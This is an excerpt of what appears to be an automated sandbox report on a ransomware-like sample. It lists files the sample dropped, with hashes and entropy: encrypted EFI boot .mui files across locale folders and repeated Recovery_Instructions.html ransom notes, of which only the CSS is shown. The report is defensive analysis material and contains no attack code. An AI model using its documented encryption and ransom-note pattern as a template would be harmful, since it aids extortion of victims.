SHA1:	456D47E8DEDDA5BBC0E92003AC25D4F4111E25F5
SHA-256:	3E4A9AAB81788A2D65FDBA81E3A2FE07348517B17D7E662C7DCB7659F4F1BE4A
SHA-512:	33915ACC322255F225BF5545B0C233B8B0161945C6FAD4B00BC326A47789EA773469D3C46258E6ABDD6444E110B7FDDE73DC7F2C2193FA1B8522E15B6AEAF560
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%....^.S..]..-.>m.9...........A..7W..9fw....3w....[.O..]l....^4.....$rBa.Rt.U.........d.\|..,.....F...?.l..f....14.E..\|.O...#~.I..:..b..=.{d.0....Y.}\.....%..W].M...R..\.'...y}...[...E.<#'.$J.vD{.~e.....5s.....u...=..]t.(8.+.@...$.......m{.1.T.i........C....(....t....9.q......6....0. ....J{...i.l.7)S.K.@...j...!_.7..8".Z"=8...0/d\.:;'mG\...L..y.-..hZG.2.....n.@.......r.WZ..)....{i....gu.lk...#.+..O....[.K..?4.w\H$m..Hh.Z.....?.!.z.4+/.........u.............G..v...d.....H,...T.pq...gm....<y.LRQv+.8.r...........\|..5..Q..2..7W$?qI.e9...O..7..l...^...S..).....C.N_.....\|..#v+0S....Z.L.aQ...`rb?.Ct.=^ Iw.@oP.m..k.^X/....[[...V.x.'.q~@>..^......8E}..T....&.. .....5;..W.J.Fi......\K..s.X.2...wAC......\.K.c\...N.v...F.#<.7/:W...

C:\EFI\Microsoft\Boot\nl-NL\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\nl-NL\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.9978735949792865
Encrypted:	true
SSDEEP:	1536:2vfYpWPmfTmao/Vul++GYQegiFG2CDykcEoChRDcPL5y8lGPEM/c6T:2HGfc/w++GYQegiFG2DfEoqtkL5JlG8Q
MD5:	571FCD851DEC6B3CA0FCFE041967D6AF
SHA1:	7B4E8E736648E600B9AF080BEDBE69C7015D0E1E
SHA-256:	D4C44A0A1154581FB8D9265E201012AD60BFEFF07833DFCC49F7D9AB4019075E
SHA-512:	1786C39314A94030FF8E6A7EEE25E1C9ECFE9692B6E8BC42B82B499914EBB3FEE94EF7DAE3E253E77EC66F75744B04DBD1284FDC711917A8E4566807B2243279
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.....t..r..S...,.[)n...f.w>.C.....$jx.$./DV..s...J+>...pB.?E........7).LFH..r....z...x..x.....:.f...Z.J".......8..g1..c..u...u6j...+.8wO..y...OL.t4.1rWZ9....g.G....y...b.Uy++S..G..4+....R..LK...A'.H.1......K.Y@.U...h.4B......E\...X......Q5..%.....}4..R.:T..C:..?t..........P.%.\|.c.........}.K...Nz....R..j..n(7=A.Qi....7..?.Z'......;.o?......].?.....k.......(cXk.C).ED.L.sXF...H..t{...@3J..,n..^.s.t......L.X..t.M.x...^.i..sz....F...1..~G}...s.h..]..v....i...^.......l..L.wh.i..1!C.K...n....R...iI......zi.......d.!g..>E..:g...O.q.B.H(.:..d.b2..........M?.#D.........b...s=u[z.8.+.{~...Y.e"R.({H.D.`.G0....N....?...[T...x.'...............D.$x.......~>..........(..G...k.3\+'AH.......:.I4.&.....8.#4D.\.T..Z.T....x...Y.s.h.8.

C:\EFI\Microsoft\Boot\nl-NL\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997657820026341
Encrypted:	true
SSDEEP:	1536:SEGgXEonAJk7bFc56q4nWi818XmJ6h3kPIQjmgyhGiwVUxXVIVBBJ:SpYXAMBc5bFq+6h0PHmgjVyFIr
MD5:	5286F62A6856ED9F4FB4A2A90FAC625B
SHA1:	12C584ECE52601570351F1D573671BC135DA89E7
SHA-256:	63D6FDCC000CE473C3225C046D08BE74E72039E9CE5ACFE9CE81FBDC2C793416
SHA-512:	27518768C535F95DEDE202B5C29E863044DFF43BAA91F5AB1E05467915F4515ABC5670022265CB019E6E915BB05420E7F53896059ED7DAA366EE478A6868D49C
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.....t..r..S...,.[)n...f.w>.C.....$jx.$./DV...J)K}......t.=6M......oP.......9=...b...0..}....t,....D.m..ui....Up.._h.QE..l8..70..&..;..AjUeQ-o8...y&.)...$.=..T].6...@..j?..6..rG..6..L."(.,a..D....;.j..._.......Wy..p..../S..1...=v...}N.hI.C.S....5.$*.....f.<.s]..#..!J.k.z..(2....Q\...:.).._7...0..I.E'.R.{u!pS.4^i`.I2.n..y...;,..9I..;.I9./..9........,x....>4gjVwI}C0:.R....) P.I(5Ub.q.@lO..G9!.a..H... j...H...Y`...D..Ih.G5{..=...z.`..8....s.tC.eU....q..9l....@W.....^;.....9..sTG..2}"...W..5.{...g.b.. .N&.S.j.^;I...]..p._.....M..Y.......GV..v..j..1..7<.KGJ.....w3..=...6H....L.Z~++...."s....&u...."........?..s.k...D...D...H.."..?.h..-i.xj.^..2.[-../.]..7.Li`.=....p..7.d\..p..T..).......T.+...V..(.c;.........+.Y...!.Wc2...\|.Z:...N

C:\EFI\Microsoft\Boot\nl-NL\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.997036134133239
Encrypted:	true
SSDEEP:	768:9QPXLo8fIgwGSBGMSYC1olksIBTwZ8dEZLiH5/z8YkQ0CT0fcsnR9N:9gLfIgwGSAYmo1IgiZ/QvQPTsnRj
MD5:	EFD75EA00F2C62A1C7B9591573D273B2
SHA1:	746DD96CE5B7B6CFB79C7019F516F02C777D7A4F
SHA-256:	5DBC697D5284A4A6B12992CD960B50B86B373342F93FEA9AB223A5A3CEB37602
SHA-512:	5D00DE7D8C056372E0158501C339A160F21F43350AF29C0F3C99A0AB9884DC3EF64AEDE896C313A59E8C0248CC989A01994BC8E5F11A66C80742D23D7982CCC2
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%....^.S..]..-.>m.9...........A..7W..9fw....3w.'.......[...../..zc.fs(....;..R.e3.-.R..M.t.l=$o.>9.N..=..F.........s.Z..`w......3.6F...+U.d...B$~S.1"Z.J.)E......WZ.-NI.-..qh.DV....}.....x.9:......LSq.0....P..m0.[.d..k]..[....c/...n.8./.E.F..@..u....\|./.oQ$......:Q......n..'........E]...B..H...9./...2..M^..!.`_..t^.p;2&. .H...hB..jB...gcL.c.n.".kV.=..q..?O..F..4V...E..<.6lD...~....j...=.n.GM.kR]\|.$..!.n..Y...V.i....G.......;.(FU...V..f............x.G0..9.u.....j...Y.1...K.u.W.......O.'F8..2.L.........^......c.0y5.-........._.:.uoN..\~.K..".c..<%..+.7q...VIN..E..3...Vi....r.0.....g..\..5b....N..x..L...oJ........#..9c....d8.ie....'.X.......D.fei.."......G\E5..A.......EB........R......Ud.......>...C._....q.-.5..?.mu.....Y$;.cK...".

C:\EFI\Microsoft\Boot\pl-PL\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\pl-PL\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997793521362493
Encrypted:	true
SSDEEP:	1536:CSq2jGRaPQOZ0U2gBytjiHvL0J+M6nD3zHBRhFNLnYATPjSOHajXTzKf0euHC0+2:CS5GEJYjQvAwMkhRh3MAzjzajjzu0/Hr
MD5:	B7A22682AF0BDDE93DEA2A55AF1A5577
SHA1:	C4FB6F3CAC99769BA7F024A420481E43CFDF5878
SHA-256:	986A0D6941ECF3E52CE736644E701D4FE400F8E11B6D5C2DEE320E3725D803A5
SHA-512:	BE589D49B51833E9DDC82E03205AF73C206A2491112F50D9FBB762E9A8A47D943051D5705C5DEAB673048B6AEE737C90F47D38CC17D014825439363B0A5EFFD6
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.....t..r..S...,.[)n...f.w>.C.....$jx.$./DV..r.[~2..=.9..".p"EI.hf....o..Cj.....\|Q...<..g..^p4E..H.U.. .?..yO1..V5is6.........m.$...14...1}....p..............U...n.H4}.X.n..Cno...`..R/t.\|.E..T.........^J....0.5.,X..ns43G..^.hS..X7v.<....1..L..L.<..V..j]..Q=.v.C...$2N.......!.w.wL.=.Lx........2....qcz..3~.......kXTJ.C....B.4i...........h.b.....d..'....O^....[0.../O..N.!.%.......G.p.>B.X4...@......E.../cY..A..#@..P...5M....2.i....n..JS.:.....B..C/.......6@..V.....2z.f.V.~CZ\.....d...u..Or.6h.l.E.E.X..'..;.V.:.Ie3....'eT.@..@._Ku.Y(S.fw...~....Q..z.+.z.}..j....-....._&.}H........S.bQ.'...;......a...^t..<..e.R~y.b.j...4....O\.F`.......j....\.#....l?..l.L..y.s.0b....F.`..c.i..oQ ....d......0 .9.o.aRh.G.....N..M......5.....TD..b$

C:\EFI\Microsoft\Boot\pl-PL\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.998020978881523
Encrypted:	true
SSDEEP:	1536:3YTCvS5+WQvnmNwVSe1kU2YSmVkUR/CH7q0vFUbq8eK6tz+Ok++wKvTaJ8:/D/mN1e1P2RWkkQq4Kxg/BKvue
MD5:	080E10E1ED020564932C2BDD804A7209
SHA1:	7870327BA3C92ABED585B91F88C6D7F519F1017B
SHA-256:	C8C90F510BFA710CA205B7746C3AE20620FDA13A229645D8C8C5706CB284A87B
SHA-512:	ED5947DB5D99A98E433DCF4C08EDE02F6DD38F6500EE76980B372A12E325BA163F1B885DC60D20D9D47B3A8A664DA62B2CA41E831EE3371C4F9E6B7ABEAE2A89
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.....t..r..S...,.[)n...f.w>.C.....$jx.$./DV.o`...jI.`.h.0.qG.\|..f.c8.p.Af.~k).:.........a.BaP...`..e=e..\<v.[.~....,.a....z...Jl.0.2..o.."4u.z..~b.../..gK`.<........O.v..tI./..g$...M.J............u... ...Y....G;e..T{.)F*Y.\ld;...qy..N....k].B'R...?.m.!.p..k......)....Y..pg.5.....w.!w.K.k...8...W.Y...-.!.0.......R.......L.....rn.Q.tm.o#.....=..(28..&.Kf...;.s`..n.x.{.p.X.~.....6..H.l[..`....h."V..e...D^M..CGDyL:..&..o<..^.>{U.%...........m^5Zx.`..mxY..+.o.#Q.u....m....T.I.@f^9.e/.U.....'.....&......=+.S:....N$I....Kh...n`....=}.'.. ^.5.y...p.....uFzw<hG....&6.._...o.RJ.i`..f.DjW...^~....O.../.....+..z. x.q..@...,E...1...<..W.P".%f.....o...a..^.7...D..!.M......4........s.xx..B.<..ZN2...p.H....{..\|..\|W.....2..^T....`..,....fBOP..(

C:\EFI\Microsoft\Boot\pl-PL\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.9964545599906645
Encrypted:	true
SSDEEP:	768:o+uCjC10xueNDs2FWV0lcA9UinbL1QsMdC5LMnz187cXVyd+sMs60zpY5GKBSbn:omC10rYWv9UinbxQsV5LipVydmpopQBE
MD5:	1D2EB57872B55C8F26166EC67D307F83
SHA1:	613551F2082B32C0C2294965A7044D84B02C3039
SHA-256:	3FB16AC66C38D763FCC0BEF5699145A1907568C748B09DC982E69CDFC54F762A
SHA-512:	30C4FDC14AFD85648A18FD5DD60AE8BD2ACF305874EF124AE9C303FA3C750897F6173227042EA0B21E85E6ABF8C1B12D574CC70396581608D4C83423B6783FA7
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.H2).!\...\|.(..~u.!.2.....m.@Oi>.[.....Wr.o.....1.m.ev.J#...B.v.C..C.9..LK}...8IVq...?.C..%.1ri...2.!&...y./U.....1...f.d..L$#....o......9.'.r.z.SG...E..S...j....)&.E.[.3...Bp..N=......].;.......u.M.p........xc_.~...K>V.V.k4K...i.-2nC{..Y..o.5r..h4.......k6.U..P+}..X...Z.,Hx......2k.1\|..U.[pe%.(.3. .xU5.a......E)!\|V..-.;W..Jr....GW..#.b.S.(.Q.w.\|$......R\.._....~9........B...`{.}`..\|4S....}H;a....~&...K..9........ZC...~.w.e.~..X..=k...{.)../....M..4.;s.06..-x..D.......nN.w.'i..*..i......1.....O)wL41c....VWZ. ....$..o....n....BE.._n$J~.y......F;4.'.W......V....=..i..1....-.[...E.Z.+..iZM......Dc..G..a!....~....x6b.....V.E8q.t....)T.....Q............Zl../y...^8..g..m....j35B.Q.....:1.3RfT.\v..(w...y]....C.U..%P..a.0.r......../.7.u\

C:\EFI\Microsoft\Boot\pt-BR\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\pt-BR\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.99774202157841
Encrypted:	true
SSDEEP:	1536:BEskQZFe7qMV7lp0jrzgF8CgMcnV+WujdXl6gxg6iCGmu6P60j1AD83:askQZEPd0b6cV+LtQgxKCGF6QD83
MD5:	8833E160A17309FAA3A307E9766EA2A7
SHA1:	F4360E03D9C1D39BD31C583C1A9D7FDE314D16EF
SHA-256:	5E4AF580516DCF36A039D43F5084E125665D65391752A2F993D173FD908D2839
SHA-512:	CB699EEF82B4AB1B9C1D32E6B326375D726CF3AA1D9FFEE43107C69F825B85DF7555F383C1CB2DB5C1FB40EE9D661919EE60E9021C7A29CC51CCA3D65E79BD31
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{..SM..f!...m.mS.GS.L...!qq-4...zF;.T..pW......h..`V....S.F$...n..V.^-87...]d..6..'.Bo....g.2...z. .....W...o.>5.J......[....H....:..:7....=~.2wtO[.k[V0Xgs./..,.].K2P.gY.[..aq..f.v........eL...F....T...M......!wC.3..i.@%'........^.9..Z>.zMF...+~...j}..[$^......z....9.pk)..~8.[tT..Hc..f.L....L.k...n.b....pL ....X.......@......oZ8.t....^.k...<6".....8}.....s.z.xd...u..n.......)$1U.....,}..@o.......l>{..yR...#...........n*.9>...n.[..o....W..G.yK.v.hDv({...e3..Z...3_...F......F2.........P..C...O...M.......x.E.....D...]..\Hfs.(....~.o. .E:...q.(...%..H.zQ.w....V$..l.]'I....,....!].s..<..E.9.."...[.DA..]..I.K...D..U.[Q-=....pq>.1...DD...+....&#...zv...H.M.....V.~oxPZ.^.%0.L.m.....?.e<W....$+.

C:\EFI\Microsoft\Boot\pt-BR\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.9975122146112785
Encrypted:	true
SSDEEP:	1536:YGOT52qVmXR0WhOVw5472i8U8krK+VOPzIGiXe7JIIOn8iKp3x+zrIX:csR0W8W5m9s+VOPzITu6Iu8p383U
MD5:	61CD6CA9BC13E828F78F90345104C3FC
SHA1:	0F878100571E0BDDB83D8877904138E441965E01
SHA-256:	2A6E22900AE97D83DAA1F4157FD88B0711FD2A22F10DD45524FFF318C77D49E6
SHA-512:	600BB4DA50357A6A3B21B3B9BEC84ACE3FB813B85D2C7802B6D5585FEA601D108A673B23CFB9A52F3FF7D0B1743766C0300CD206D40AC6C289D3C2BE1104FBC7
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{..+9"o@.B...]..K....W=....]&......c..d..~=.....S..u2..E. >..'4.+..E..J..{..38-n.E8.......YwO........e...VC..Z./R..Z6.....h.L..<-.L....v...........n-......O.'x......\|&m.b...>...6..-...;..N(....o. y1......Hu./.K+...l_...\%.7.s3...tt.Qo......%~.....7mi.m....=F0.s.:.%e.}.&o.Y.fL..Z...AM..BS....w..N.o.j.. ...9z..m..........i...6v....F.b....t.....D.......L..H.E......J.......M....PuB..,.P~iIr.i..N.3R.,H.lu.5.Q.4."..2.R..................F.Q...e..d..prR6...Y.b.2.g/..D..UoC.......#,....L5.l.af(UB.Ff[}(..........8xx@{yD.V..\......>vh...}.:.$.7..oa.jy>.BZJ..fI>.T.N.."...bA...&A.)...C...l....9..XR[.r....&.....=4.Z..s,.....J..X0.....,..H/.:..D3.U....}.(..<...:z.... 7}.q..<n..k.Nd. .3...0H^........

C:\EFI\Microsoft\Boot\pt-BR\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.9963889574932665
Encrypted:	true
SSDEEP:	1536:gHNIPMeXorCpd+b5kspjomsIz3pgHtIAZ:gHNIjXuW+uspNgNIAZ
MD5:	F686B95C3C48974AF549F92E29294503
SHA1:	278B222E630AB6F35842DDFAA61D7D3C2F778689
SHA-256:	334746F2512E190A8B12AFE9F2544064B77DF3FFEEA924C9571E2754C36C9D3D
SHA-512:	20A03DA00D9C2700DB97DF5896D1C2DF65162D3DB51CE5C6E6587123F102296974A9240F7321E552DB98FFDA9F1B61F9AD05C066D0F726DE9B58F3057C8304F8
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%....^.S..]..-.>m.9...........A..7W..9fw....3w..H...p..\x..P...P.[n....'Aw./...p....$.....e.G.?.{xS...T6\|.ZP'.R..$...Cz(bE3....,.PL...p.]..G...........u,.@,b.&e....H.7.t...$4..8.J...t.&...R5..{r...[.).o. ..dn.f0..&.@`....."WNq...E.....0lI......x0~.3n?.N@..../.~)0N;...I.1...fQ.l....07".....bC.4.s...3.........$.k.Rgww.rCh.BZ.....L%.d..\|........aIYVk.;.2.......$..I2.L.+.8.^L..xu........Q..Yx.9..>`s..9..}.......Rx.c...Vx.QNl..R........k.7....3.....C.2..hq....P9.'yi.8.N.FQ......jL^.....^. .Un .Q.%]\..o.vX.....m..o..13)4.....MF...t......o......a.G!.vZ...eo..+.0L.@..g.i.....W3..iT.......u...8~nPuk.......}...K......"T`f....gd.h....r..H..M.D..<.^-.W...JL......(.2......F....."{..MA.m.:...,...a.Q(8.s@c`................Y7....-..Kf.l4.s...(..)'N.A

C:\EFI\Microsoft\Boot\pt-PT\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\pt-PT\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997778883943141
Encrypted:	true
SSDEEP:	1536:4R/9/LhCs5fJKFpZ8S3V95tTqN/aBN/AIPqIQGtYGRy563XFJJ:eCs5fJE8S3VXtTqmjKGRyU3XXJ
MD5:	78DAEB8BF042979C60A828C997437EAE
SHA1:	4AB5E2434E5A74FFBECC797203944A492F837817
SHA-256:	1F4B6CBAE7B2BBF1CF07FBBCC55155001186002E82D820046118AAB87609F40A
SHA-512:	98CD96A0D17A9D1ACF6E3CD6ACC2FAC66ADE6CDB05BC17A0753D0C07922C050A88952E9F44BA29AD101DDD642F1C5159EBF56B0FCFB3E091E3568DF9886AEC9F
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{..%..e.9{...... .....r..{......zE..Yy.....)].v.9.'..,......V.`....}.MN..b..VVw?W,..}.\|....o.E@$.W.n.=?2H.....c..;7...<..]A......$D. r...=.....46sVO4.:.K.....1BT.=3y.R.....X..8.7X5.%,j=Vb..iQ..nSq.."..X..@..........GQ.n:b.0<t....Q?..N....^.#.S._.#m.....m....r...`..AY.3.?....@[...z..=.{o..B..wK"..._..EkR........f.W.M.S......_...j..1Zs.L..7"1><o..!.'.Mk..u8..{u[1..'.... ...:.Ng..:...j.....Y..sI..L.c..x]...Gzh]]...&..o..'..i.1...\.^...E.\!._wU............Iuq:.v#..... _....2.._.my#vK..V....G....O...=..s...k......~..F\|.TB..Cc.......N..R.... ..<.[0.....U..K..pt.!.`X..e..(.]...tn;...58.kv.HI......(.Z.....y=@.Zv..r..j,dc..%.......g...F..J.j@ZP....LP..@Fqf......i.:...\..n...0..?.7.k.=u...-.R

C:\EFI\Microsoft\Boot\pt-PT\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
